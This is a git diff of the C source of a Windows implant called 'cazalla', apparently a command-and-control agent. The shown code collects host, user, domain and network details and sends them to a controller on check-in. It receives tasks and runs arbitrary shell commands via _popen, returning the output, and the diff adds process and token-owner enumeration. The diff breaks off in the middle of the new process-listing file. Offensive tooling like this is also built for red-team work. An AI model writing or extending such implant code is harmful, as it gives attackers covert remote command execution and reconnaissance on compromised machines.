obtenerArquitectura() { + + SYSTEM_INFO informacionDelSistema; + + GetNativeSystemInfo(&informacionDelSistema); + if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { + return 0x64; + } + + return 0x86; +} + +// Obtener el Hostname +PCHAR obtenerHostame() { + + LPSTR datos = NULL; + DWORD dataLen = 0; + const char* hostnameRep = "N/A"; + + if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) + { + if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) + { + GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen); + hostnameRep = datos; + } + } + return (char*)hostnameRep; +} + +// Obtener el usuario +char* obtenerUsuarios() { + + LPSTR datos = NULL; + DWORD dataLen = 0; + const char* usuario = "N/A"; + + if (!GetUserNameA(NULL, &dataLen)) { + + if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { + + GetUserNameA(datos, &dataLen); + usuario = datos; + } + } + return (char*)usuario; +} + +// Obtener el dominio +LPWSTR obtenerDominio() { + + DWORD dwLevel = 102; + LPWKSTA_INFO_102 pBuf = NULL; + PWCHAR dominio = NULL; + NET_API_STATUS nStatus; + LPWSTR pszServerName = NULL; + + nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf); + if (nStatus == NERR_Success) { + + DWORD length = lstrlenW(pBuf->wki102_langroup); + dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length); + memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length); + } + + if (pBuf != NULL) { + + NetApiBufferFree(pBuf); + } + + return dominio; +} + +char* getOsName() { + + return (PCHAR)"Windows"; +} + +// Obtener el nombre del proceso actual +char* obtenerNombreProceso() { + + char* nombreProceso = NULL; + HANDLE handle = GetCurrentProcess(); + if (handle) { + + DWORD buffSize = 1024; + CHAR buffer[1024]; + + if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) { + + nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1); + memcpy(nombreProceso, buffer, buffSize); + } + CloseHandle(handle); + } + return nombreProceso; +} + + +PAnalizador checkin() { + + UINT32 numeroDeIPs = 0; + PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); + if (!checkin) { + _err("Error: nuevoPaquete() devolvió NULL en checkin\n"); + return NULL; + } + addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); + + UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); + addInt32(checkin, numeroDeIPs); + for (UINT32 i = 0; i < numeroDeIPs; i++) { + addInt32(checkin, tableOfIPs[i]); + } + + addString(checkin, getOsName(), TRUE); + addByte(checkin, obtenerArquitectura()); + addString(checkin, obtenerHostame(), TRUE); + addString(checkin, obtenerUsuarios(), TRUE); + addWString(checkin, obtenerDominio(), TRUE); + addInt32(checkin, GetCurrentProcessId()); + addString(checkin, obtenerNombreProceso(), TRUE); + addString(checkin, (PCHAR)"1.1.1.1", TRUE); + + + PAnalizador respuestaAnalizador = mandarPaquete(checkin); + + liberarPaquete(checkin); + + if (!respuestaAnalizador) { + _err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n"); + return NULL; + + } + return respuestaAnalizador; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h index b55139f..ae64497 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h @@ -1,17 +1,17 @@ -#pragma once - -#ifndef CHECKIN_H -#define CHECKIN_H -#include -#include -#include -#include "paquete.h" -#include "transporte.h" -#include "analizador.h" -#include "comandos.h" - -#pragma comment(lib, "netapi32.lib") - -PAnalizador checkin(); - +#pragma once + +#ifndef CHECKIN_H +#define CHECKIN_H +#include +#include +#include +#include "paquete.h" +#include "transporte.h" +#include "analizador.h" +#include "comandos.h" + +#pragma comment(lib, "netapi32.lib") + +PAnalizador checkin(); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index f56dfc9..92956dc 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -1,80 +1,83 @@ -#include "cazalla.h" -#include "comandos.h" - -BOOL handleGetTasking(PAnalizador obtenerTarea) { - - UINT32 numeroTareas = getInt32(obtenerTarea); - if (numeroTareas) { - _dbg("[Tareas] hay %d tareas !\n", numeroTareas); - } - - for (UINT32 i = 0; i < numeroTareas; i++) { - SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID - BYTE tarea = getByte(obtenerTarea); - PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); - PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); - - if (tarea == SHELL_CMD) - { - ejecutarConsola(analizadorTarea); - } - else if (tarea == EXIT_CMD) { - cerrarCallback(analizadorTarea); - }else if(tarea == SLEEP_CMD){ - sleep(analizadorTarea); - } - - } - return TRUE; -} - -BOOL commandDispatch(PAnalizador respuesta) { - - BYTE tipoRespuesta = getByte(respuesta); - if (tipoRespuesta == GET_TASKING) { - return handleGetTasking(respuesta); - } - else if (tipoRespuesta == POST_RESPONSE) { - return TRUE; - } - return TRUE; -} - -BOOL parseChecking(PAnalizador respuestaAnalizador) { - - if (getByte(respuestaAnalizador) != CHECKIN) { - - liberarAnalizador(respuestaAnalizador); - return FALSE; - } - - SIZE_T tamanoUuid = 36; - PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); - setUUID(nuevoUuid); - - _dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); - - liberarAnalizador(respuestaAnalizador); - - return TRUE; -} - -BOOL rutina() { - - PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); - addInt32(obtenerTarea, NUMBER_OF_TASKS); - - Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); - // sin respuesta - if (!respuestaAnalizador) { - - return FALSE; - } - commandDispatch(respuestaAnalizador); - - // Sleep - Sleep(cazallaConfig->tiempoSleep); - - return TRUE; - +#include "cazalla.h" +#include "comandos.h" + +BOOL handleGetTasking(PAnalizador obtenerTarea) { + + UINT32 numeroTareas = getInt32(obtenerTarea); + if (numeroTareas) { + _dbg("[Tareas] hay %d tareas !\n", numeroTareas); + } + + for (UINT32 i = 0; i < numeroTareas; i++) { + SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID + BYTE tarea = getByte(obtenerTarea); + _dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea); + + PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); + PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); + + if (tarea == SHELL_CMD) + { + ejecutarConsola(analizadorTarea); + } + else if (tarea == EXIT_CMD) { + cerrarCallback(analizadorTarea); + }else if(tarea == SLEEP_CMD){ + sleep(analizadorTarea); + }else if(tarea == PROCESS_CMD){ + listarProcesos(analizadorTarea); + } + } + return TRUE; +} + +BOOL commandDispatch(PAnalizador respuesta) { + + BYTE tipoRespuesta = getByte(respuesta); + if (tipoRespuesta == GET_TASKING) { + return handleGetTasking(respuesta); + } + else if (tipoRespuesta == POST_RESPONSE) { + return TRUE; + } + return TRUE; +} + +BOOL parseChecking(PAnalizador respuestaAnalizador) { + + if (getByte(respuestaAnalizador) != CHECKIN) { + + liberarAnalizador(respuestaAnalizador); + return FALSE; + } + + SIZE_T tamanoUuid = 36; + PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); + setUUID(nuevoUuid); + + _dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); + + liberarAnalizador(respuestaAnalizador); + + return TRUE; +} + +BOOL rutina() { + + PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); + addInt32(obtenerTarea, NUMBER_OF_TASKS); + + Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); + // sin respuesta + if (!respuestaAnalizador) { + + return FALSE; + } + commandDispatch(respuestaAnalizador); + + // Sleep + Sleep(cazallaConfig->tiempoSleep); + + return TRUE; + } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index aced56f..d3163cc 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -1,26 +1,27 @@ -#pragma once - -#ifndef COMMANDOS -#define COMMANDOS - -#include "analizador.h" -#include "paquete.h" -#include "consola.h" -#include "cerrarCallback.h" -#include "sleep.h" - -#define SHELL_CMD 0x54 -#define GET_TASKING 0x00 -#define POST_RESPONSE 0x01 -#define CHECKIN 0xf1 - -#define NUMBER_OF_TASKS 1 - -#define EXIT_CMD 0x80 -#define SLEEP_CMD 0x38 - - -BOOL parseChecking(PAnalizador respuestaAnalizador); -BOOL rutina(); - +#pragma once + +#ifndef COMMANDOS +#define COMMANDOS + +#include "analizador.h" +#include "paquete.h" +#include "consola.h" +#include "cerrarCallback.h" +#include "sleep.h" +#include "procesos.h" + +#define SHELL_CMD 0x54 +#define GET_TASKING 0x00 +#define POST_RESPONSE 0x01 +#define CHECKIN 0xf1 + +#define NUMBER_OF_TASKS 1 + +#define EXIT_CMD 0x80 +#define SLEEP_CMD 0x38 +#define PROCESS_CMD 0x15 + +BOOL parseChecking(PAnalizador respuestaAnalizador); +BOOL rutina(); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c index 9c6dcaf..31c4ac7 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c @@ -1,38 +1,38 @@ -#include "consola.h" - -BOOL ejecutarConsola(PAnalizador argumentos) { - - SIZE_T tamanoUuid = 36; - PCHAR tareaUuid = getString(argumentos, &tamanoUuid); - UINT32 nbArg = getInt32(argumentos); - SIZE_T tamano = 0; - PCHAR comando = getString(argumentos, &tamano); - - comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); - - FILE* fp; - CHAR ruta[1035]; - - PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); - addString(respuestaTarea, tareaUuid, FALSE); - - //paquete temporal para la salida - PPaquete salida = nuevoPaquete(0, FALSE); - - fp = _popen(comando, "rb"); - if (!fp) { - _err("[Consola] Error ejecutando el comando"); - return FALSE; - } - - while (fgets(ruta, sizeof(ruta), fp) != NULL) { - addString(salida, ruta, FALSE); - } - - addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); - - _pclose(fp); - Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea); - - return TRUE; +#include "consola.h" + +BOOL ejecutarConsola(PAnalizador argumentos) { + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + SIZE_T tamano = 0; + PCHAR comando = getString(argumentos, &tamano); + + comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); + + FILE* fp; + CHAR ruta[1035]; + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaTarea, tareaUuid, FALSE); + + //paquete temporal para la salida + PPaquete salida = nuevoPaquete(0, FALSE); + + fp = _popen(comando, "rb"); + if (!fp) { + _err("[Consola] Error ejecutando el comando"); + return FALSE; + } + + while (fgets(ruta, sizeof(ruta), fp) != NULL) { + addString(salida, ruta, FALSE); + } + + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + _pclose(fp); + Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea); + + return TRUE; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h index a4858f2..0507169 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h @@ -1,7 +1,7 @@ -#pragma once -#include -#include "paquete.h" -#include "analizador.h" -#include "comandos.h" - +#pragma once +#include +#include "paquete.h" +#include "analizador.h" +#include "comandos.h" + BOOL ejecutarConsola(PAnalizador argumentos); \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h index 0e47264..fac1fc8 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h @@ -1,42 +1,42 @@ -#pragma once - -#include - -#if defined(_DEBUG) - - -#define DBG "DBG" -#define ERR "ERR" -#define WRN "WRN" -#define INF "INF" - -#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); -#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) -#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) -#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) -#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) -#elif defined(_DEBUG_RELEASE) -#define DBG -#define ERR -#define WRN -#define INF -#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\ -CHAR out[200] = { 0 };\ -sprintf(out, format"\n", ## __VA_ARGS__);\ -WriteFile(debugFile, out, strlen(out), NULL, NULL);\ -CloseHandle(debugFile);} -#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) -#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) -#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) -#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) -#else -#define DBG -#define ERR -#define WRN -#define INF -#define _log(level, format, ...) -#define _dbg(format, ...) -#define _err(format, ...) -#define _wrn(format, ...) -#define _inf(format, ...) +#pragma once + +#include + +#if defined(_DEBUG) + + +#define DBG "DBG" +#define ERR "ERR" +#define WRN "WRN" +#define INF "INF" + +#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); +#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) +#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) +#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) +#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) +#elif defined(_DEBUG_RELEASE) +#define DBG +#define ERR +#define WRN +#define INF +#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\ +CHAR out[200] = { 0 };\ +sprintf(out, format"\n", ## __VA_ARGS__);\ +WriteFile(debugFile, out, strlen(out), NULL, NULL);\ +CloseHandle(debugFile);} +#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) +#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) +#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) +#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) +#else +#define DBG +#define ERR +#define WRN +#define INF +#define _log(level, format, ...) +#define _dbg(format, ...) +#define _err(format, ...) +#define _wrn(format, ...) +#define _inf(format, ...) #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c new file mode 100644 index 0000000..986e0b8 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.c @@ -0,0 +1,29 @@ +#include "identity.h" + + + +BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) { + + TOKEN_USER informacionToken[0x1000]; + SID_NAME_USE tipoSid; + DWORD tamanoRespuesta; + + if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) { + + return FALSE; + } + + CHAR nombre[0x200] = { 0 }; + CHAR dominio[0x200] = { 0 }; + + DWORD tamanoNombre = sizeof(nombre); + DWORD tamanoDominio = sizeof(dominio); + + if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) { + return FALSE; + } + + sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre); + buffer[tamano - 1] = 0; + return TRUE; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.h new file mode 100644 index 0000000..afff6b0 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/identity.h @@ -0,0 +1,22 @@ +#pragma once +#ifndef IDENTITY_H +#define IDENTITY_H + +#include + +extern HANDLE gTokenIdentidad; +extern BOOL gIdentidadIsLoggin; +extern WCHAR* gDominioIdentidad; +// extern WCHAR* gIdentityUsername; +// extern WCHAR* gIdentityPassword; + +#define IDENTITY_MAX_WCHARS_DOMAIN 256 +#define IDENTITY_MAX_WCHARS_USERNAME 256 +#define IDENTITY_MAX_WCHARS_PASSWORD 512 + +//VOID IdentityImpersonateToken(void); +//VOID IdentityAgentRevertToken(void); +BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size); +//BOOL IdentityIsAdmin(void); + +#endif //IDENTITY_H \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c index ef409e9..997c85b 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c @@ -1,12 +1,12 @@ -#include "cazalla.h" - -//#ifdef _DEBUG -//int main() -//#else -int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) -//#endif -{ - cazallaMain(); - - return 0; +#include "cazalla.h" + +//#ifdef _DEBUG +//int main() +//#else +int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) +//#endif +{ + cazallaMain(); + + return 0; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index 5fc7f2a..d5d00d2 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -1,122 +1,152 @@ -#include "cazalla.h" -#include "paquete.h" - -//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. -PPaquete nuevoPaquete(BYTE idComando, BOOL init) { - //v2 change to syscalls - PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); - if (!paquete) { - _err("Error: fallo al asignar memoria para Paquete\n"); - return NULL; - } - paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE)); - if (!paquete->buffer) { - return NULL; - } - - paquete->length = 0; - if (init) { - addString(paquete, cazallaConfig->idAgente, FALSE); - addByte(paquete, idComando); - } - - return paquete; -} - -VOID liberarPaquete(PPaquete paquete) { - - LocalFree(paquete->buffer); - LocalFree(paquete); - -} - -PAnalizador mandarPaquete(PPaquete paquete) { - - - PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length); - SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length); - - PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); - - if (!respuesta) { - - paqueteParaMandar = NULL; - return NULL; - } - - return respuesta; - -} - -BOOL addByte(PPaquete paquete, BYTE byte) { - //v2. Syscalls - paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE); - if (!paquete->buffer) { - return FALSE; - } - ((PBYTE)paquete->buffer + paquete->length)[0] = byte; - paquete->length += 1; - return TRUE; -} - - -BOOL addInt32(PPaquete paquete, UINT32 valor) { - - paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT); - if (!paquete->buffer) { - return FALSE; - } - - addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor); - paquete->length += sizeof(UINT32); - return TRUE; -} - -BOOL addInt64(PPaquete paquete, UINT64 valor) { - - paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT); - if (!paquete->buffer) { - return FALSE; - } - - addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); - paquete->length += sizeof(UINT64); - return TRUE; -} - -BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) { - - if (tamanoCopia && tamano) { - if (!addInt32(paquete, tamano)) { - return FALSE; - } - } - if (tamano) { - paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT); - if (!paquete->buffer) { - return FALSE; - } - if (tamanoCopia) { - addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano); - } - //v2.syscalls - memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano); - paquete->length += tamano; - } - return TRUE; -} - -BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) { - - if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) { - return FALSE; - } - return TRUE; -} - -BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) { - if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) { - return FALSE; - } - return TRUE; -} +#include "cazalla.h" +#include "paquete.h" + +//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. +PPaquete nuevoPaquete(BYTE idComando, BOOL init) { + //v2 change to syscalls + PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); + if (!paquete) { + _err("Error: fallo al asignar memoria para Paquete\n"); + return NULL; + } + paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE)); + if (!paquete->buffer) { + return NULL; + } + + paquete->length = 0; + if (init) { + addString(paquete, cazallaConfig->idAgente, FALSE); + addByte(paquete, idComando); + } + + return paquete; +} + +VOID liberarPaquete(PPaquete paquete) { + + LocalFree(paquete->buffer); + LocalFree(paquete); + +} + +PAnalizador mandarPaquete(PPaquete paquete) { + + PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length); + SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length); + + PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); + + if (!respuesta) { + + paqueteParaMandar = NULL; + return NULL; + } + + return respuesta; + +} + +BOOL addByte(PPaquete paquete, BYTE byte) { + //v2. Syscalls + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE); + if (!paquete->buffer) { + return FALSE; + } + ((PBYTE)paquete->buffer + paquete->length)[0] = byte; + paquete->length += 1; + return TRUE; +} + + +BOOL addInt32(PPaquete paquete, UINT32 valor) { + + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + + addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor); + paquete->length += sizeof(UINT32); + return TRUE; +} + +BOOL addInt64(PPaquete paquete, UINT64 valor) { + + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + + addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); + paquete->length += sizeof(UINT64); + return TRUE; +} + +BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) { + + if (tamanoCopia && tamano) { + if (!addInt32(paquete, tamano)) { + return FALSE; + } + } + if (tamano) { + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + if (tamanoCopia) { + addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano); + } + //v2.syscalls + memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano); + paquete->length += tamano; + } + return TRUE; +} + +BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) { + + if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) { + return FALSE; + } + return TRUE; +} + +BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) { + if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) { + return FALSE; + } + return TRUE; +} + +BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) +{ + va_list args; + va_start(args, fmt); + + // Determine how much space is needed for the formatted string + int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator + + va_end(args); + + // Allocate a temporary buffer for the formatted string + char* tempBuffer = (char*)malloc(requiredLength); + if (tempBuffer == NULL) + { + return FALSE; // Memory allocation failed + } + + va_start(args, fmt); + vsnprintf(tempBuffer, requiredLength, fmt, args); + va_end(args); + + // Use addString to add the formatted string to the package + if (!addString(package, tempBuffer, copySize)) + return FALSE; + + // Free the temporary buffer + free(tempBuffer); + + return TRUE; +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h index 662f421..5511a7c 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -1,31 +1,31 @@ -#pragma once - -#ifndef PAQUETE_H -#define PAQUETE_H - -#include "utils.h" -#include "transporte.h" -#include "analizador.h" - -#define TASK_COMPLETE 0x95 -#define TASK_FAILED 0x99 - -typedef struct { - - PVOID buffer; - SIZE_T length; - -}Paquete, * PPaquete; - -PPaquete nuevoPaquete(BYTE idComando, BOOL init); -VOID liberarPaquete(PPaquete paquete); -PAnalizador mandarPaquete(PPaquete paquete); - -BOOL addByte(PPaquete paquete, BYTE byte); -BOOL addInt32(PPaquete paquete, UINT32 valor); -BOOL addInt64(PPaquete paquete, UINT64 valor); -BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia); -BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia); -BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia); - +#pragma once + +#ifndef PAQUETE_H +#define PAQUETE_H + +#include "utils.h" +#include "transporte.h" +#include "analizador.h" + +#define TASK_COMPLETE 0x95 +#define TASK_FAILED 0x99 + +typedef struct { + + PVOID buffer; + SIZE_T length; + +}Paquete, * PPaquete; + +PPaquete nuevoPaquete(BYTE idComando, BOOL init); +VOID liberarPaquete(PPaquete paquete); +PAnalizador mandarPaquete(PPaquete paquete); + +BOOL addByte(PPaquete paquete, BYTE byte); +BOOL addInt32(PPaquete paquete, UINT32 valor); +BOOL addInt64(PPaquete paquete, UINT64 valor); +BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia); +BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia); +BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c new file mode 100644 index 0000000..151b802 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.c @@ -0,0 +1,111 @@ +#undef UNICODE +#include "procesos.h" +#include "paquete.h" +#include "analizador.h" +#include "identity.h" +#include "spawn.h" +#include + +BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) { + HANDLE hToken; + BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken); + + if (!result) { + return FALSE; + } + + result = IdentityGetUserInfo(hToken, nombreCuenta, tamano); + + if (!result) { + return FALSE; + } + + CloseHandle(hToken); + return result; +} + +VOID listarProcesos(PAnalizador argumentos) { + + SIZE_T tamanoUuid = 36; + UINT32 nbArg = getInt32(argumentos); + + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + char nombreCuenta[2048] = { 0 }; + PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal + + char* arch; + arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64"; + + HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if 